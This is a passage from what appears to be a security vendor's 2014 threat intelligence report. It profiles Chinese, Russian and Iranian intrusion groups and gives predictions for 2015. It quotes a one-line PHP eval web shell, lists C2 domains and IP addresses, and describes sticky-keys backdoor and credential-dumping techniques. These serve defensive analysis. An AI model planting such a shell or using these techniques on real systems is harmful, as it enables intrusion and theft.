This particular sample 45 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity used NVIDIA-related files often seen with PlugX to side-load the Mirage payload.
The C2 for the malware in this incident was todaynews.dns-dns.com.
The Southeast Asia activity declined dramatically at the end of August, which coincided with the time that China removed HD-981 from Vietnamese waters.
A slight spike occurred in October when PIRATe PANDA and VIXeN PANDA stepped up targeting of Vietnam and the Philippines again, possibly due to arms acquisitions by Vietnam meant to bolster its maritime security capabilities.
Since that time, sporadic activity with a Southeast Asia focus was observed, but nothing at a sustained level like that which was observed from May to October.
It is highly likely that tensions will increase again as the disputes over territory and resources in the South China Sea remain unresolved.
DEEP PANDA THINK TANK TARGETING In July 2014, CrowdStrike publicly reported on malicious activity linked to the DeeP PANDA adversary at two U.S.- based think tanks.11 This activity followed typical DeeP PANDA Tactics, Techniques, and Procedures (TTPs) with 11 http://blog.crowdstrike.com/ deep-thought-chinese-targeting-na- tional-security-think-tanks/ 46 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity what, at the time, was a novel technique utilizing PowerShell to download MadHatter malware on victim machines.
Although the TTPs were typical, the specific targeting at each institution provided insight into how these adversaries may be tasked in their operations.
Analysis of each incident revealed that, up until mid-June 2014, the adversary was focused on experts on Asian and Chinese policy at each affected institution.
This targeting is consistent with the objectives likely imposed on Chinese intelligence collection during this time in support of global intelligence collection surrounding the ongoing HD-981 incident.
During mid-June, DeeP PANDA clearly and immediately shifted focus from Asia-related issues to Middle east-related issues.
This shift coincided with a significant uptick in attacks from the Islamic State of Iraq and Syria (ISIS), particularly an attack on the Baiji oil refinery in Iraq.
At one institution, the actor focused on a target with expertise in Chinas natural resource consumption and energy sourcing requirements.
Additional targets at this institution included an executive assistant and network engineers and administrators.
The targeting of an executive assistant would likely provide access to information on high-level strategy and operational information, and targeting of network administrators would provide information useful in lateral movement and establishing persistence.
At the second institution, targeted individuals had extensive careers in the U.S. government and intelligence community, had written on U.S. Middle east policy, and had given congressional testimony on ISIS issues.
The targets in this instance could provide information on potential U.S. strategy and possibly even communications between the institution and U.S. government entities.
The rapid pivot between individuals at these institutions focused on Asia issues to individuals focused on Middle east issues shows how quickly these adversaries are able to react to new tasking.
The targeting in these cases appear to be in line with interests of government organizations who would desire information on strategic options that the U.S. might be considering with respect to ISIS.
Information from these kinds of institutions would also be useful to companies doing business in the Middle east.
47 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity wORlD CUP The biggest event of the year in terms of media coverage and sheer global attention was the FIFA World Cup played in Brazil between 12 June and 13 July.
events of this scale usually attract malicious actors who leverage them for purposes of deceiving targets into credentials theft, compromise of networks for espionage, and other objectives.
CrowdStrike covered the run-up to the World Cup with reporting that outlined potential threats to the event.
Chief among these was that of hacktivists attacking or defacing websites related to the Cup.
Designated adversary GHOST JACKAL was detected partaking in said actions prior to the beginning of the tournament, which also saw large-scale street protests against the government.
Later, during the Cup, CrowdStrikes warning came to fruition when the websites for the Cup itself and for Brazils Federal Police were both taken down.12 Additionally, CrowdStrike observed some limited World Cup-related targeted intrusion activity from China-based actors LOTUS PANDA and VIXeN PANDA, but the level of activity from such actors was not as high as anticipated.
12 Hackers Take Down World Cup Site in Brazil, 20 June 2014, http://bits.blogs.nytimes.
com/2014/06/20/hackers-take- down-world-cup-site-in-brazil/ Know the Adversary Know your adversary to better protect your network.
detect, deter, and defend against todays most sophisticated attackers.
49 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Know the Adversary Effect of Public Reporting on Adversary Activity In the 2013 Global Threat Report, CrowdStrike discussed a Russian adversary designated eNeRGeTIC BeAR.
Beginning in July 2014, several security vendors disclosed additional information on this actor.
This adversary has previously demonstrated more than a basic awareness of operational security (OPSeC).
Unsurprisingly, eNeRGeTIC BeAR quickly abandoned their compromised website C2 infrastructure they had acquired for these operations.
Although infected machines would continue to beacon to the C2 servers, no further tasking would be provided.
Since the public disclosures, no new builds of the malware used by eNeRGeTIC BeAR primarily the Havex and SySMain RATs have been observed.
This toolset has seen several evolutionary developments over a period spanning at least five years, and its loss is likely to cause the adversary to enter a retooling phase.
The underlying intelligence requirements driving their operations are unlikely to change, however, and it is likely that eNeRGeTIC BeAR will re-emerge with a new toolset in the future.
In June 2014, CrowdStrike published13 public reporting detailing the attribution of an adversary designated as PUTTeR PANDA to the 12th Bureau of the 3rd General Staff Department of the Peoples Liberation Army, also known as Unit 61486.
This attribution was facilitated by one of the PUTTeR PANDA operators providing pictures of the units operational base on social media, using accounts that could be associated with C2 domains a serious OPSeC mistake.
After the publication of CrowdStrikes report, the social media account containing photos of the units base was deleted, and PUTTeR PANDA appears to have stopped using the tools previously identified by CrowdStrike.13 http://resources.crowdstrike.com/putterpanda/ 50 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Know the Adversary Another significant public disclosure of an adversary group was the publication of a report on Unit 61398 (a.k.a.
COMMeNT PANDA) in February 2013.
While this group also initially went dark following the reports public release, there have been indications that this actor was in operation again by October 2013.
The disclosure of information regarding ongoing operations has been hotly contested in the information security community.
Many attribute such disclosures to marketing or other self-promoting behavior.
While the motivations surrounding public disclosures are certainly open to discussion, these observations indicate that public disclosures to date have had a significant impact on advanced adversary operations.
It is becoming apparent that the priorities levied by organizations sponsoring cyber espionage are unaffected by such disclosures.
It is highly likely that groups who have been publicly reported on will return to the same activities with new toolsets, if they have not already.
CrowdStrikes approach to public disclosure balances the benefits of disrupting operations with the risk of losing visibility into adversary actions by driving a change in TTPs.
This balance is accomplished by looking at the existing publicly available reporting, and what the likely reaction by the adversary is.
This is then reviewed in terms of Intelligence Gain/Loss (IGL) among other things, this includes the potential intelligence value of a disclosure, what are potential impacts to visibility of the adversary, and how does this impact the ability to protect customers?
Forcing the adversary to retool means the cost of doing business has gone up they must invest in new tools, infrastructure, and potentially training, which may have consequences for how brazen the adversary will be in the future.
HURRICANE PANDA HURRICANe PANDA is an advanced China-based adversary actively targeting Internet services, engineering, and aerospace companies.
51 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Know the Adversary Since February 2014, CrowdStrike Intelligence has observed HURRICANe PANDA leverage at least two zero-day exploits, a unique DNS resolution technique, and tools traditionally used by Chinese actors.
Once inside a victims network, this adversary seeks to gain legitimate credentials to move laterally and establish RDP sessions to achieve their objectives.
Based on their technical capabilities, HURRICANe PANDA is currently one of the most advanced Chinese actors tracked by CrowdStrike.
Zero-days, Exploits, and web vulnerabilities As stated above, CrowdStrike Intelligence observed HURRICANe PANDA leveraging two zero-day exploits, indicating that this adversary has above-average capability or access to exploit developers.
First, in February 2014 this actor was observed using SWC tactics to gain initial footholds into victim networks via CVe- 2014-0322.
Successful exploitation during this campaign led victims to install the Sakula malware.
Much of the targeting in this campaign appeared to be against the French aerospace sector.14 In October 2014, HURRICANe PANDA used CVe-2014-4113 to escalate privileges on already-compromised 64-bit Windows machines.15 Their exploitation of this vulnerability marked the first time it was observed in the wild.
In addition to zero-day exploits, HURRICANe PANDA has also used three other privilege-escalation exploits and another remote code execution exploit.
Finally, in another case, HURRICANe PANDA gained initial access to a victim via a SqL injection vulnerability.
They then used the vulnerability to upload a simple Chopper webshell script to gain additional access, move laterally to the corporate network, and install additional RATs.
THE RAT PACK HURRICANe PANDA makes use of several Remote Access Tools 14 http://blog.crowdstrike.com/ french-connection-french-aerospace- focused-cve-2014-0322-attack-shares- similarities-2012/ 15 http://blog.crowdstrike.com/crowd- strike-discovers-use-64-bit-zero-day- privilege-escalation-exploit-cve-2014- 4113-hurricane-panda/ 52 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Know the Adversary (RATs).
Over the course of the year, CrowdStrike Intelligence observed this adversary employing Sakula, Gh0st RAT, PlugX, and HiKit.
While Gh0st RAT has been widely available for many years, the other RATs have exclusively been tied to China-based actors.
This actor also made extensive use of Chopper webshell this provides the equivalent functionality of a RAT for adversary control of webservers.
Chopper can exist in a rather simple form: ?
php eval(_POST[chopper]) ?
where chopper is an attacker-selected password of sorts.
This simple one-line script gives an attacker access to a webserver from which they can deploy privilege-escalation tools, move laterally, or deploy more complex scripts to interact with databases on the webserver.
While PlugX usage has increased significantly over the past year among China-based actors, HURRICANe PANDAs usage of the tool was notable for two reasons.
First, when configuring PlugX, the attacker is given the option of using up to four DNS servers of their choosing.
Knowing this, HURRICANe PANDA discovered a unique service offered by California-based Internet service provider Hurricane electric.
By abusing Hurricane electrics free DNS service, the actors were able to resolve popular domains like www.pinterest.com, adobe.com, and github.com.
Using legitimate domains presumably would fool incident responders into believing the communications were benign.
HURRICANe PANDA leveraged PlugXs custom DNS feature to use the free DNS hosting services provided by Hurricane electric to resolve these domains to PlugX C2 nodes instead of their legitimate IP addresses.
Hurricane electric quickly took action to prevent the abuse that allowed DNS resolution for legitimate domains.
53 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Know the Adversary The other unique C2 resolution method employed by HURRICANe PANDA was the use of Google Code as a host for an encoded string containing the real PlugX C2 node as shown below.
Despite this method of C2 server distribution being available in PlugX since at least 2012, its usage is not common.
In this case, the PlugX malware will request one of the Google Code projects, search the page for a string delimited with DZKS and DZJS, and decode screenshOt Of plugx user interfAce gOOgle prOjects used by hurricAne pAndA tO serve encOded c2 servers 54 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Know the Adversary the string.
The decoded string contains the protocol over which to communicate, as well as the IP address and port pair.
When the above strings are decoded, the following IP addresses are used as PlugX C2 servers: 223.29.248.9 202.181.133.237 61.78.34.179 203.135.134.243 Post-Exploitation and Exfiltration After HURRICANe PANDA has established a foothold on a victims network, they then seek legitimate credentials via tools such as Windows Credential Viewer, Windows Credential editor, or Mimikatz.
Once credentials have been obtained, the actor tends to use these for access to the network instead of interacting with their RAT, thus reducing their footprint and allowing them to appear as legitimate VPN users.
If credentials cannot be obtained, HURRICANe PANDA will often rely on RDP.
First, they will replace the sticky keys file (using the sethc.exe hack16) with a copy of their preferred Chinese version of cmd.exe on the victim machine.
Then they will access the victim computer over RDP, and, when presented with a login screen, IT will invoke the sticky keys mechanism and be presented with an administrative command shell.
Furthermore, PlugX contains a reverse-RDP tunneling capability that HURRICANe PANDA has employed.
exfiltration by HURRICANe PANDA follows a simple pattern often performed by China-based adversaries.
First, files of interest are compressed and password protected using RAR.
Next, they stage the files at a convenient location.
Finally, they exfiltrate the files from the network via FTP.
16 http://blog.crowdstrike.com/adver- sary-tricks-crowdstrike-treats/ 55 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Know the Adversary Possible Connections to AURORA PANDA CrowdStrike Intelligence is currently evaluating possible connections between HURRICANe PANDA and AURORA PANDA.
There is currently no definitive link, but indicators of compromise linked to AURORA PANDA have been discovered on networks also compromised by HURRICANe PANDA.
Other connections include: similar toolsets, access to zero-day exploits, and possible infrastructure connections.
HURRICANe PANDA is among the more capable China-based adversaries, and run-ins with this actor should be treated with the utmost concern.
GOTHIC PANDA GOTHIC PANDA is another advanced Chinese adversary that CrowdStrike Intelligence tracked throughout 2014.
This adversary has been observed targeting a number of high-profile victims in key sectors including financial, technology, NGO/international, and energy.
In early May 2014, CrowdStrike observed this adversary mounting a campaign in which spear phishing messages were used to direct targets to landing pages that would exploit a zero-day Use-After- Free vulnerability in Internet explorer.
The following is a brief timeline of important events in this campaign: DATE 24 April 2014 25 April 2014 26 April 2014 01 MAy 2014 EVENT earliest observed resolution for subdomain in attack phishing messages sent to targets Microsoft issues advisory for vulnerability cve-2014-1776 Out-of-band patch issued by Microsoft 56 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Know the Adversary In addition to targeting of individuals within targeted organizations, phishing messages from this adversary were observed being sent to mailing lists for specialized topics such as high-performance computing, weather metadata software, and pre-medical programs at educational institutions.
An observed phishing message is show below: Victims in these campaigns were infected with the implant known by the anti-virus name Pirpi, which has been seen in use since 2009.
Pirpi provides the adversary with a traditional set of RAT features that allow the adversary to exfiltrate and deploy files, along with remote shell access to a compromised system.
GOTHIC PANDA is considered by CrowdStrike Intelligence to be one of the more advanced adversaries tracked.
Over time, the Pirpi implant has improved to feature more aggressive anti-analysis techniques, and the network communication with control servers has improved to hinder network-based detection.
While investigating GOTHIC PANDA, CrowdStrike Intelligence identified a strong code overlap between the Pirpi implant and 57 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Know the Adversary a defunct malware known by the anti-virus name Dreammon (or DreamClick).
This malware possesses a feature set more in line with adclicker malware rather than targeted activity.
As adclicker malware is more common with criminal adversaries, it has been postulated that if the same adversary behind Dreammon is behind Pirpi, this adversarys initial motives may have been financially driven.
OvERvIEw OF RUSSIAN THREAT ACTORS Although the Chinese calendar predicted that 2014 would be the year of the Horse, in many respects 2014 has been the year of the Bear in the cyber realm, with several high-profile Russia-based actors receiving public attention.
The reported activity has included actors tracked by CrowdStrike as eNeRGeTIC BeAR, FANCy BeAR, and VeNOMOUS BeAR, as well as other sets such as Sandworm, which uses the Black energy toolset in targeted attacks, in contrast to its normal use as criminal malware.
CrowdStrike also tracks other adversaries attributed to Russia under cryptonyms such as BeRSeRK BeAR, BOULDeR BeAR, and the financial-crime- motivated actor MAGNeTIC SPIDeR.
VeNOMOUS BeAR, also known as Snake, Turla, and Oroborous, uses a set of implants that culminates in a sophisticated Windows-based rootkit that can leverage an encrypted Virtual File System (VFS) as a staging area for tools to deploy and data prepared for exfiltration.
It also includes implants for other platforms such as Linux that can be used to operate command-and-control infrastructure.
external reporting indicates a targeting bias toward entities in the government sector, along with the use of zero-day exploits.
These TTPs, along with the maturity of the attackers toolset, indicate that this is a highly sophisticated adversary.
FANCy BeAR is CrowdStrikes name for an adversary also known as Sofacy.
Although the tools used by this actor are not as complex as those employed by VeNOMOUS BeAR, they share a common targeting focus on government and military entities, with a particular 58 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Know the Adversary emphasis on Russias near abroad regions such as eastern europe.
As well as implants for Windows, Linux, and mobile operating systems, FANCy BeAR employs credential phishing attacks, spoofing legitimate sites to harvest the details of users of interest.
Proactive analysis during 2014 revealed another Russian actor that has not encountered public exposure, yet appears to have been tasked by Russian state interests.
BeRSeRK BeAR has conducted operations from 2004 through to the present day, primarily aimed at collecting intelligence but has also provided capability in support of offensive operations in parallel to the Russia/Georgia conflict in August 2008.
eNeRGeTIC BeAR has been tracked by CrowdStrike since 2012.
The adversary initially focused on targets in the energy sector, but more recently had branched out to attempt to compromise financial, industrial, and commercial organizations.
This corresponded with a shift from primarily using SWC attack vectors to targeted email attacks.
Analysis of eNeRGeTIC BeARs post-exploitation activity revealed the use of custom tools for credential harvesting, network enumeration, and interaction with industrial automation equipment.
FANCY BEAR In the second half of 2014, CrowdStrike Intelligence analyzed the targeted attack activity of a particularly interesting Russian actor named FANCy BeAR.
The campaigns conducted by this actor target high-profile military and government entities in a variety of countries, most notably political institutions of former Soviet nations as well as eastern european countries, NATO institutions, and organizations of western countries.
Technical indicators, such as the resource locales and C2 domain registrant information, exhibit references to a Russian-speaking adversary.
In addition, the targeting is consistent with strategic interests of the Russian Federation.
59 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Know the Adversary Targeting of high-profile entities requires mature and versatile technical means.
FANCy BeAR exhibits a consistent level of technical sophistication with respect to its tools, and the actor is characterized by a thorough preparation of attacks and required infrastructure.
Their main implant, called X-Agent, is a sophisticated RAT that exhibits a modular architecture and a multi-year development history.
As a consequence, the adversary can combine the necessary implant functionality on a per-target basis, spanning multiple operating systems and mobile platforms.
A remarkable feature only seen with some of the well-engineered and mature targeted attack malware is the following: If required, the implant can switch the carrier protocol for its command-and- control channel ranging from HTTP over email to removable media.
The latter is specifically suited for target environments that do not have direct network connectivity to a C2 node and instead rely on periodic use of USB removable media to bridge air gaps.
In addition, recent incidents involved heavily obfuscated malware including code flow obfuscation, likely another step taken in order to hinder analysis efforts.
All of these underline a clear targeted attack mission.
2015 Predictions Understand how the evolving capabilities of these advanced adversaries will affect you in 2015.
61 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Looking Forward Predicting what will happen in 2015 is a challenge, as unforeseen events will inevitably occur and new TTPs from adversaries across the motivational spectrum will continue to shape the threat environment.
Before exploring what may be coming in 2015, a brief look back at the predictions for 2014 is in order.
Last year, CrowdStrike made a number of predictions about the 2014 threat landscape, many of which came to fruition: North Korean Activity CrowdStrike Intelligence predicted that North Korea might use its cyber operations to project power during 2014.
This prediction came to fruition at the end of 2014 when a North Korean adversary attacked Sony because of one of the studios movies that North Korea perceived as an act of war.
windows XP End of life Targeted attackers did use exploits such CVe-2014-1776 to target out-of-life Windows XP machines.
This continues to be a significant risk, as the existence of legacy Windows XP machines continues to expose an attack surface.
Third-Party Targeting 2013 saw actors targeting third-party vendors offering DNS, social media, and content management services in order to attack customers of those services.
As one example, CrowdStrike observed a number of attacks by the HURRICANe PANDA adversary against DNS and hosting providers in 2014 these attacks were highly likely used to ultimately target those providers customers.
Sandbox-Aware Malware The use of sandbox-aware malware was not new to 2014, but adversaries did make significant use of malware variants capable of detecting if they were being run in sandbox environments.
These techniques ranged from detection of sandboxes through system and network artifacts, detection of user activity, and even prompting user interaction as a countermeasure.
62 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Looking Forward Use of High-Level Languages The 2014 yearly report noted a downward trend in the use of low-level languages like C and a growing trend in the use of high-level languages like C and Python.
During 2014, CrowdStrike did observe several adversaries such as VICeROy TIGeR making heavy use of a malware variant that primarily leveraged Python script.
Activity in the Physical World Physical world conflict often leads to related cyber operations, and 2014 was no different.
A number of conflicts in the physical space such as those in the South China Sea, Ukraine, and the Middle east all resulted in related cyber operations by targeted intrusion adversaries in China, Russia, and Iran, as well as nationalist and hacktivist actors.
2015 will undoubtedly hold many surprises and new developments in the realm of computer security.
The following section contains estimative judgments about what may be likely trends or occurrences in the next year.
RESEARCH AND DEvElOPmENT Research and development during one year can often set the expectations and direction of the next.
With this in mind, the CrowdStrike Intelligence team carefully observed patterns and trends in the security research community.
Based on the trends of 2014, the following estimates were developed: It is expected that Lets Encrypt, the first free certificate authority with a pre-installed root certificate in major browsers, will launch in 2015.
This service will offer very simple command line provisioning of certificates for use in HTTPS.
As a result of the ease of use and availability, it is likely that an increasing amount of Internet traffic will be encrypted.
As HTTP traffic becomes less common, it is more likely to be suspect and subject to closer inspection.
This opens the possibility that more adversaries may look to leverage SSL certificates for command and control.
Additionally, Content Security Policy (CSP) for webpages means that XSS-attacks will become more complicated to mount.
In 2015, it is expected that 63 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Looking Forward two-factor authentication will be more widely deployed across enterprise and cloud services, which will hopefully hamper the effectiveness of credential and banking phishing operations.
Adversaries are constantly advancing their capabilities overseas, cryptography and its application has continued to dominate the technology news, beginning with revelations from the Snowden leaks.
CrowdStrike assesses it is possible that adversaries will deploy more sophisticated encryption and key agreement schemes to hamper interception by security professionals and intelligence services.
In 2015, a number of sandboxes using hypervisor introspection will become available, both commercially and in open source.
Introspection allows a sandbox to instrument a virtual machine through the hypervisor this provides additional stealth to the sandbox, allowing it to avoid detection.
It remains to be seen whether malware authors will completely cease their efforts to detect traditional sandboxing solution and/or whether they will try to subvert introspection-based sandboxes.
Given the difficulty in detection, and the speed at which new technologies are adopted, it is likely that adversaries will continue to detect traditional sandboxes in 2015, with more advanced adversaries exploring techniques to identify or evade introspection-based systems.
Embedded devices, regardless of whether they are home routers or industrial control systems, will be increasingly targeted.
One of the primary factors impacting this belief is the increasing pace of vulnerability disclosures in the embedded space and in the underlying software they leverage.
The increasing prevalence and popularity of Internet of Things (IoT) devices, discussed in more detail below, is another factor in this likely targeting.
This targeting will likely occur across a variety of threat actors.
In 2014, we saw the compromise of home router technology used to build an embedded proxy layer used to mask the identity of the attacker.
64 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Looking Forward Internet of Things (IoT) devices are still in their infancy and the concept of IoT has not yet become widely adopted or even available to the average end user.
There are, however, a large number of devices being sold already that would fit under the IoT umbrella, even if they do not make use of the IoT communication standards.
While targeted attacks against IoT devices are unlikely at this time, the potential to abuse IoT devices for amplified DDOS as well as disrupting IoT networks through DOSing of central control infrastructure might well be possible.
OUTlOOK FOR CHINA-BASED ADvERSARIES China is, by now, well known for conducting cyber espionage campaigns focused on accessing intelligence about intellectual property, mergers and acquisitions, and technologies highlighted in its Five-year plans.
Targeting these technologies and strategic business information allow its domestic companies to rapidly make leap frog developments, and to benefit from favorable bargaining positions, thus elevating them to become global leaders.
This behavior is expected to continue in 2015, as will continued targeting of foreign government entities in an attempt to access information related to the global strategy and plans of these countries.
China is expected to continue to leverage this espionage as a means to conduct intelligence collection to support its aspirations to further push the envelope on its territorial claims.
This is particularly true in the South China Sea (SCS) conflicts with Vietnam and the Philippines, and the Senkaku/Diaoyu island dispute with Japan.
China has already undertaken substantial construction of manmade islands in the SCS to begin projecting its power, and as its Navy continues to grow, it will only seek to push further beyond its current boundaries.
China is aggressively moving forward with the design and implementation of its own aircraft carriers, which will no doubt have an impact in this regional issue, allowing the PRC to project force and intimidate its neighbors.
65 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Looking Forward Taiwan will continue to play a very important role in the potential conflicts to come, not only as a testing ground for malware, but as the main focus for expanding Chinese territorial claims.
The PRC views Taiwan as an inalienable part of China that will eventually be reunited for the greater good of both peoples and therefore places it above other territorial conflicts.
Taiwans recent shift towards a decidedly less-Beijing-friendly, DPP-led government is of great concern to China and will be a major factor in how China uses technology to facilitate its political maneuverings.
Taiwan has historically been penetrated by PRC intelligence services at all levels, which makes cyber one of the first visible indicators of PRC intentions regarding Taiwan.
China has also made significant headway on projecting its soft power abroad via multiple billion-dollar investments, particularly in the sectors of communications and transportation infrastructure.
For years, China has been making inroads in Africa to provide the vast majority of the continents telecommunication systems, but only recently have some of the more sinister intentions been brought to light.
In December 2014, approximately 77 Chinese nationals were found to be running a sophisticated command center out of a house in Nairobi, Kenya, which appeared to be capable of targeting the main communication systems in the capital.
A building with multiple large satellites that appears to be annexed to the Chinese embassy in Paris was also recently reported on and believed to be connected to the 3PLAs 8th Bureau, Unit 61046, which is responsible for SIGINT collection on western europe.
iMAge Of Alleged sigint dishes At chinese eMbAssy Annex 66 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Looking Forward There has also been a significant amount of investment poured into transportation projects, particularly high-speed rail (HSR) lines, in multiple countries.
China has already planned to merge its two top train makers into a HSR juggernaut capable of building massive rail lines around the world.
To this end, China has submitted bids for massive rail projects in Nigeria, and nearly won (this was subsequently canceled) another project in Mexico.
China has also suggested massive lines between Beijing and Moscow and constructing a line between Delhi and Chennai in India.
Beijing also remains interested in proposals for HSRs in Britain and California, and has already made headway on construction of a Hungary- Serbian HSR that will connect Belgrade to Budapest.
In total, the projects proposed by China would give it control of more than 40,000 km, giving it significant control over the worlds transportation routes.
It seems fairly likely that, given Chinas previous use of espionage against foreign companies (which it has used to gain advantages in competitive bidding and mergers acquisitions), there is a substantial motivation for China to follow suit in the coming year as it looks to secure its position as the global leader in HSR construction.
jOINT PlAN OF ACTION COUlD POSSIBlY DRIvE IRANIAN CYBER ATTACKS The Iranian Joint Plan of Action (JPOA), its delay, and its ultimate desired path by politicians to negotiate a Comprehensive Plan of Action (CPOA) are preeminent issues in the global press and political circles.
The JPOA is a temporary agreement made between Iran and an intergovernmental negotiating body consisting of China, France, the Russian Federation, the United Kingdom, the United States and Germany.
The agreement was originally intended to be a six-month period in which the Iranian government would reduce its stockpile of enriched uranium fuel and suspend specific aspects of its nuclear energy programs in exchange for the UN Security Council relaxing of specific sanctions previously imposed against Iran.
During this time of suspended nuclear research activities and 67 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Looking Forward eased sanctions, negotiating parties would discuss the details of a more permanent agreement, known as the Comprehensive Plan of Action (CPOA).
The JPOA could be a driver or tipping point for future cyber attacks by Iran against western targets.
Iran has publicly noted the understanding that negotiations can be influenced and has demonstrated historically that it is willing (and has capabilities) to conduct cyber operations to influence negotiations if it sees fit to do so.
It has been publicly speculated that Iran has conducted retaliatory attacks, notably the Shamoon incident in 2012.
Recent open-source activities in the Iranian underground suggest Iran may be attempting to structure or resource for possible future cyber operations.
There have been visibility changes with regard to information surrounding Iranian hackers, as well as forums and websites.
Popular forums for Iranian hackers ISCN and Shabgard have been shut down and are no longer publicly accessible.
Despite the shutdowns, there will likely be little change to the communication occurring between affiliated hackers in closed communications pathways.
The closing of these forums could be in anticipation of future malicious activity and a desire to decrease the public profile of individuals in the Iranian underground.
There are also clear links between the Iranian government hacking contests intended to identify hackers with advanced skills and to learn advanced methods of network intrusion.
For example, in November 2013, just before the JPOA agreement was signed, Sharif University of Technology conducted a contest for innovative methods of computer network intrusions and defense against such intrusions.
Based on the contest announcements, Iranian government cyber security authorities had access to the students submissions in the contest, and those submissions were not released to the public but rather kept private to only those with access to the contest submissions.
68 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Looking Forward Iranian adversaries such as ROCKeT KITTeN, FLyING KITTeN, and CHARMING KITTeN were quite active during 2014 targeting western governments and companies.
The motivation to attack such targets will only increase during 2015.
However, should the process around the JPOA and CPOA take a turn that Iran perceives as disadvantageous, the motivation will likely greatly increase.
Recent revelations indicate that ROCKeT KITTeN may have, in fact, targeted the JPOA negotiations using spear phishing that may have targeted diplomats involved in the meetings.
CYBER SPIllOvER FROm REGIONAl CONFlICTS Last years report included cyber spillover as something to look for in 2014, and it will be equally as important in 2015.
Increasingly, real- world physical conflicts are carrying with them associated cyber components.
Sometimes the related cyber operations are carried out by entities directly engaged in the conflict, and other times entities not directly involved will engage in cyber operations in an attempt to support one side or the other.
It is not possible to predict all possible conflicts in 2015, but there are three primary areas to keep an eye on.
The conflict that may see the most significant uptick in associated activity is the one centered around ISIS.
The Syrian civil war saw quite a bit of associated cyber operations against western targets in 2013, many of which were attributed to the DeADeye JACKAL adversary (Syrian electronic Army).
Since that time, the ISIS terrorist group has become a significant threat in the region and appears to be capable of bringing resources to bear to carry out malicious cyber attacks.
Already, in early January 2015, a group calling itself CyberCaliphate and declaring support for ISIS hacked the social media presence of U.S. Central Command and used it to spread Islamist propaganda.
It is likely that this and other related groups supporting the Islamist cause will engage in operations that support ISIS objectives.
Most of this activity is likely to be a nuisance, such as defacements and 69 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Looking Forward low-level DDOS attacks, but it is possible that more advanced actors could carry out targeted or even destructive attacks.
The South China Sea will be an area to continue to watch in 2015.
As discussed above, tensions in this area drove a great deal of targeted intrusion activity from China-based adversaries in 2014.
Tensions subsided toward the end of 2014, but the region is rich in natural resources and countries there, particularly China, are eager to lay claim to those resources.
Because of this, there is a significant possibility that the conflict will flare up again in the coming year.
One thing that could temper the possibility for conflict is if oil prices remain low, making oil exploration in the area potentially less lucrative.
Ukraine is the third region to keep an eye on for possible cyber spillover in 2015.
The physical conflict there already spilled over into cyberspace, as was discussed above.
So long as the Ukrainian conflict remains unresolved and foreign governments continue to exert pressure on Russia via economic sanctions, expect continued Russian targeting of governments, particularly those in europe and the U.S. Another related contributing factor to Russian cyber operations is the falling price of oil.
Russias economy is deeply dependent on oil prices.
The precipitous fall in the price of oil at the end of 2014 and going into 2015 has already caused a great deal of economic turmoil in Russia.
An extended period of low oil prices could result in increased malicious cyber activity from Russian adversaries against foreign governments and private sector organizations.
THE FUTURE FOR POS ATTACKS PoS malware experienced a great deal of success during 2014, however upcoming changes may force changes in payment- processing systems in the U.S. For example, several major credit card companies are expected to institute new policies in October 2015 that will shift liability for fraudulent transactions to whomever 70 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Looking Forward is using the weakest payment-processing systems.
The purpose of this is to drive retailers to adopt eMV (europay, MasterCard, and Visa) standards, which entail chip and PIN cards that use a combination of the traditional PIN number and an embedded microchip that encrypts vital information.
This type of card offers a more secure payment card solution for consumers.
Additionally, several alternative solutions, such as Apple Pay and Google Wallet, have started becoming adopted, allowing for payment via token systems.
In theses systems, rather than a card number being transmitted, a one-time token is passed from a consumers device to the retailer.
The advantage to this system is that in the event of the token being obtained by an unauthorized party, it cannot be reused for later transactions.
Adoption of these newer payment processes should provide consumers with more secure payment methods and make it more difficult for criminals seeking to make money off these systems.
There will be some lag time in 2015 as retailers and banks move to put these improvements in place, during which cybercriminals will still be able to exploit the current, antiquated payment processing systems in the U.S.
However, the newer processes, once in place, should lead to a decline in the type of PoS attacks seen over the past year.
Despite this decline, it is almost certain that the implementation of more secure methods will lead cybercriminals to develop more sophisticated means by which to attack payment- processing systems.
DESTRUCTIvE AND DISRUPTIvE ATTACKS Destructive attacks (such as those carried out by SILeNT CHOLLIMA) and disruptive attacks (such as the DDOS activity against gaming platforms) garnered headlines at the end of 2014.
The high-profile nature of these attacks does not necessarily indicate that they will grow in popularity in 2015, however it is 71 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Looking Forward possible that the success of these attacks may encourage other groups to engage in destructive or disruptive operations to advance their interests.
As an example of this, a series of disruptive attacks in December targeted online gaming platforms.
These attacks manifested in the form of DDOS operations carried out by the LizardSquad group briefly discussed above.
The attacks came in two waves, the first of which was in early December when the Xbox Live and PlayStation networks were knocked offline for a short period of time.
The second wave of attacks occurred on 25 December 2014 when the Xbox and PlayStation online platforms suffered more outages that LizardSquad claimed responsibility for.
